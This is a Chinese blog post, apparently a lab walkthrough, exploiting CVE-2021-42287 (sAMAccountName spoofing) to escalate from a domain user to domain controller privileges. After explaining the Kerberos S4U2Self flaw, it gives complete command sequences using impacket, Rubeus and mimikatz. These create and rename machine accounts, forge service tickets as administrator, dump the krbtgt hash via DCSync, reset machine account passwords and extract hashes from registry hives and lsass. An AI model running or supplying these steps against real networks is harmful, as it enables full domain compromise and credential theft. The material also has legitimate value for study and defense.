CVE-2021-42287: sAMAccountName spoofing 域内提权

  • 域控 ip:192.168.72.21,hostname:dc01

  • 域内攻击者机器 ip:192.168.72.158,hostname:WIN10-01

  • 攻击者 kali 机器 ip:192.168.72.162

漏洞原理

kdc在给目标用户生成st或tgt时,如果发给kdc请求包的目标用户(cname字段)突然在活动目录数据库中查询不到,就使用 cname字段 + $ 用户的身份生成st或tgt。这是个逻辑漏洞,只通过以上这一个机制是利用不了此漏洞的。

漏洞利用

目的:我们有了username用户的凭据,却使用username$用户凭据来访问服务

我们都知道kdc在as-rep之前会生成tgt认购权证,而tgt认购权证中的pac信息存储着用户后续用于判断权限的信息,而生成这些pac信息就需要kdc去活动目录数据库中查询用户的信息,kdc是通过 saMAccountName 属性 来定位用户,如果kdc突然找不到 saMAccountName 属性 为username的用户(假设用户名为username),那么kdc会使用用户名为username$(假设其存在)生成pac。

问题来了:我们要使kdc找不到 saMAccountName 属性 为username的用户,就需要在kdc生成as-rep消息之前,就把username的 saMAccountName 属性 进行修改,使得活动目录数据库中不存在username用户,这肯定不可能,没有人能做到这么快的速度在as-req和as-rep之间的空隙去修改username用户的 saMAccountName 属性 ,机器都做不到。

解决问题:那么我们既然不能在生成tgt时,修改username的 saMAccountName 属性 ,那么我们是否可以在tgs-rep之前kdc生成st服务票据的时候修改username的 saMAccountName 属性 ,让kdc生成st服务票据时,找不到 saMAccountName 属性 为username的用户,进而生成的st服务票据内的pac凭据是username$用户的。要知道,我们拿到tgt后,能控制tgs-req的发送,在发送tgs-req之前修改username用户的 saMAccountName 属性 ,这样kdc在生成st服务票据时就找不到username了,而采用username$进行替代。答案是不可以,因为生成st服务票据时,st服务票据的pac信息是从tgt的pac信息直接拷贝得来的。

难道就不能让kdc生成st服务票据时,让kdc不复制tgt里的pac,而是重新从活动目录数据库中查询 saMAccountName 属性 为username的用户,这样的话kdc就找不到username用户,误把username$用户当作username,使用username$的身份生成st服务票据。当然可以,我们只要发送s4u2self,就能使kdc生成st服务票据时就可以重新从活动目录数据库中查询了。为什么 S4U2Self 是关键: 标准的 TGS 请求不涉及 PAC 信息的重新构建,而 S4U2Self 请求明确要求为目标用户生成票据,这一步强制 KDC 访问 AD 数据库以重新生成 PAC。

漏洞利用的通信流程

以下是我们有了username用户的凭据,却使用username$用户凭据来访问服务的通信流程。

  1. as-req:客户端使用username用户凭据发送kerberos身份验证请求给kdc

  2. as-rep:kdc生成tgt认购权证发送给客户端,tgt里的凭据是username用户的

  3. 客户端不立即发送tgs-req,而是将username用户的 saMAccountName 属性 修改为其他后再发送tgs-req

  4. tgs-req:此时客户端发送带有s4u2self的tgs-req给kdc

  5. tgs-rep:kdc接受到s4u2self后,生成st服务票据时不直接从tgt认购权证中复制,而是将tgt中的用户名username提取出来,从活动目录数据库中查询 saMAccountName 属性 为username的用户,结果查不到(因为第三步导致活动目录数据库中没有username的身份),kdc只能使用username$凭据来生成st服务票据,并将用户凭据发送给客户端

  6. ap-req&ap-rep:客户端获得到了username$凭据的st服务票据,他只需要使用此st访问服务器即可

漏洞逻辑图如下:

漏洞实验

impacket

1.新建机器账户,确保其没有注册 spn,并修改 saMAccountName 属性

#新建机器用户 machine,密码为 root
python3 addcomputer.py -computer-name 'machine' -computer-pass 'p-0p-0p-0' -dc-ip 192.168.72.21 'HACK.com/deandean:p-0p-0p-0' -method SAMR
​
#清除spn
python3 addspn.py --clear -t 'machine$' -u 'hack.com\deandean' -p 'p-0p-0p-0' dc01.hack.com
​
#将机器用户 machine 的 saMAccountName 属性修改为 AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'DC01' -dc-ip 192.168.72.21 HACK.com/deandean:p-0p-0p-0

2.获取 tgt 和 st

#使用 impacket 获取 tgt,tgt 的 cname 为 dc01。
python3 getTGT.py -dc-ip DC01.HACK.com HACK/dc01:p-0p-0p-0
​
#导入 TGT 认购权证
export KRB5CCNAME=dc01.ccache
​
#将机器用户 machine 的 saMAccountName 属性恢复为 machine$,目的是当使用这个 tgt 时,让其中的 cname 被错误地认为真实域控。
python3 renameMachine.py -current-name 'DC01' -new-name 'machine$' -dc-ip 192.168.72.21 HACK.com/deandean:p-0p-0p-0
​
#用上一步的 TGT 认购权证,以 administrator 的身份请求访问 dc01.HACK.com 的 cifs 服务,由于域控找不到 DC01 账户,所以域控使用 DC01$,也就是域控机器账户的身份获取 st 服务票据。
python3 getST.py -spn cifs/DC01.HACK.com HACK/DC01@192.168.72.21 -no-pass -k -dc-ip 192.168.72.21 -impersonate administrator -self
​
#导入 ST 服务票据
export KRB5CCNAME=administrator@DC01@HACK.COM.ccache
​
#导出域内 krbtgt 用户哈希
python3 secretsdump.py DC01.HACK.com -k -no-pass -just-dc-user krbtgt
​
#这里可以看到我们请求 st 服务票据时,impacket脚本直接忽略了spn,导致我们请求的票据出现错误。如下 wireshark 抓包图,正常情况下,使用的 st 服务票据导出域内 krbtgt 用户哈希应当直接发送 ap-req 直接访问 ad 服务,但是脚本发送的是 as-req,说明我们的票据有错误并没有被脚本使用。


#使用 rubeus 获取 tgt 和 st 服务票据。
​
#使用 rebeus 获取 tgt,tgt 的 cname 为 dc01。
Rubeus.exe asktgt /user:"DC01" /password:"p-0p-0p-0" /domain:"HACK.com" /dc:"dc01.HACK.com" /nowrap /ptt
​
#将机器用户 machine 的 saMAccountName 属性恢复为 machine$,目的是让之前的 tgt 中的用户被错误地认为真实域控
python3 renameMachine.py -current-name 'DC01' -new-name 'machine$' -dc-ip 192.168.72.21 HACK.com/deandean:p-0p-0p-0
​
#使用 rubeus 导出服务票据。由于域控找不到 DC01 账户,所以域控使用 DC01$,也就是域控机器账户的身份获取 st 服务票据。
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/dc01.HACK.com" /dc:"dc01.HACK.com" /ptt /ticket:doIEojCCBJ6gAwIBBaEDAgEWooIDxzCCA8NhggO/MIIDu6ADAgEFoQobCEhBQ0suQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0GwhIQUNLLmNvbaOCA4cwggODoAMCARKhAwIBAqKCA3UEggNxjU5wRIta10SHN2Wsnkg+YGKbMjE8/jn/PkItPlEILma26l01kBqYgVHkRZxhyA5Zid7epqfaN9RE0zn9MLm0FLFiGbEzn3kSPixVlfArbL5gMYXCDGUGQmqOP9cvB5+a1kusN7IyH1wkCEoHUEZrB0qhZ6BjVUZ5aqcU+sSL6SeY5l2//4nQcoFTyxpu7urFBZVCM0+jNHd1NXiLDx9OY6NdiuCClU13QxiqKXXvZOg6TfoeFqaD6ziLZKYYyIKchIHpO2WzVbPWsGFuJpeDc9p8RSP2EHD8tl4w8p9qef40V78bsc7baHYeFXCm+X6/BAqkChAZABfu1eutS7nbJBnzLqdI0wxBSn8AbTuulFCJQRylAagOWusGb8jL940ThQT6AIEkJr9gIGDbMo5SD3QxhLbBkfOnhTW+I/CL+U/L56fYY/gCtrE35yS7MNiRoe+AN2qc1Z0iI/+TvDM+/6PX9WOf/d5QDmivWLnkgaI7646IhncV9g2/1O6NetsRnQ4VHMRxtD+ZUQEvE5OQpb1N+6ro44HRZa3v9ZDcH/b4Sn3ZjPRkxx5+qH05zMop4fISWY8V7+VgaAqvIxGQAx9x+r/oc3XaW2Wh+yIZLnNijFWIdvQ/epQNoncdHDI57zpqmSppgaRUlVP3Jt57F3i4zu/rU3UTaZBmhZ6M/7P4arOQIVzvkVcoiGrmgcB4JuVjTegFRRKctJZiXnW6fuwqd+OfyGzJx2nP+Hi62gKU4+i8buLJY+HIamid4NgJ1JMkTWGw2ON70BUyg89RULZjVduY3igKW0tA8oU1dg5xs7oQKXCmqfl1y80ieKikiCfERR4My5kQIV5S0yjUbszCcMa+Tx9qvzbgsArpsM+Fde7yts1CtkmvR6JkrtGSvuv9licC1md5yLpjqcZlvnSGDMIryGaeOUaWTCWLslSrOD6rkaVJwyPjWCdg1OFJgjTFDFCDSjvYqWpz9YZhs4ZAhAr46fbKAZRjKZ/lih+mvpc16wgcLV7BodVZZ8DbzqiB0OUWjc6StT5XnOR4zQOjLwDAnG53HbL697vJgU73Cv8Ps9tf9ZLDHHbx9SQoND1DYT+eAGRp0PzRmsrcixvlO3DZXkXY5PMma3SZ+FzQmpiaIbmPyZg/Lr+kEaB6g/mwMW+vhFIMQzLj32f8v9mjgcYwgcOgAwIBAKKBuwSBuH2BtTCBsqCBrzCBrDCBqaAbMBmgAwIBF6ESBBDw8VAbpYmgWkfIMhu2UWrcoQobCEhBQ0suQ09NohEwD6ADAgEBoQgwBhsEREMwMaMHAwUAQOEAAKURGA8yMDI1MDIwNTEyMjgyOVqmERgPMjAyNTAyMDUyMjI4MjlapxEYDzIwMjUwMjEyMTIyODI5WqgKGwhIQUNLLkNPTakdMBugAwIBAqEUMBIbBmtyYnRndBsISEFDSy5jb20=
​
lsadump::dcsync /all /csv


漏洞利用拓展

从上述漏洞利用过程来看,要利用此漏洞,需要的条件如下:

  • 一个域用户凭据

  • 一个机器账户凭据

  • 域用户能够修改机器账户的 saMAccountName 属性

如果我们获取的域用户凭据没有权限去创建机器账户( ms-DS-MachineAccountQuota 属性设置为 0),那么我们如何利用此漏洞?

第二种情况:域用户凭据,并在域中找到了此域用户创建的机器账户
#清除 machine$ 的 SPN
python3 addspn.py --clear -t 'machine$' -u 'hack.com\deandean' -p 'p-0p-0p-0' dc01.hack.com
  1. adfind查询当前用户将那些机器账户加入域中

  2. 通过此用户凭据利用 SAMR 协议远程向机器账户发送修改密码的请求

  3. 拿到机器账户权限后进行漏洞利用

mimikatz.exe
#重置机器账号 machine$ 的密码为 p-0p-0p-0
lsadump::SETNTLM /server:192.168.72.21 /user:machine$ /password:p-0p-0p-0
​
#之后就可以使用正常流程进行漏洞利用
针对第二种情况的战场恢复

在第二种情况中,我们重置了机器账户的密码,导致机器账户的lsass进行和注册表中的hash和活动目录数据库中的hash不一致,通过如下方法查看hash

sercretdump.py导出活动目录数据库中的hash
mimikatz抓取lsass进程的hash

获取原始hash方法一

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
​
# 将刚刚保存的三个文件放到 impacket 的 examples 目录下,使用secretsdump.py 执行如下命令提取出文件里面的 hash。
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
​
# 这种方法可查询到修改前的hash

获取原始hash方法二

在目标 machine 机器上执行如下命令使用 mimikatz 的
sekurlsa::logonpassword 模块从 lsass.exe 进程里面抓取 machine$机器账号的原始哈希。
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

恢复原始hash

然后再次使用 mimikaktz 执行如下命令利用 SAMR 协议调用
SamrSetInformationUser 接口来重置机器账号 machine$的密码哈希为原值。
​
mimikatz.exe
#重置 machine$机器账号的哈希为原值
lsadump::SETNTLM /server:192.168.72.21 /user:machine$ /ntlm:<你抓到的 ntlm 哈希值>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值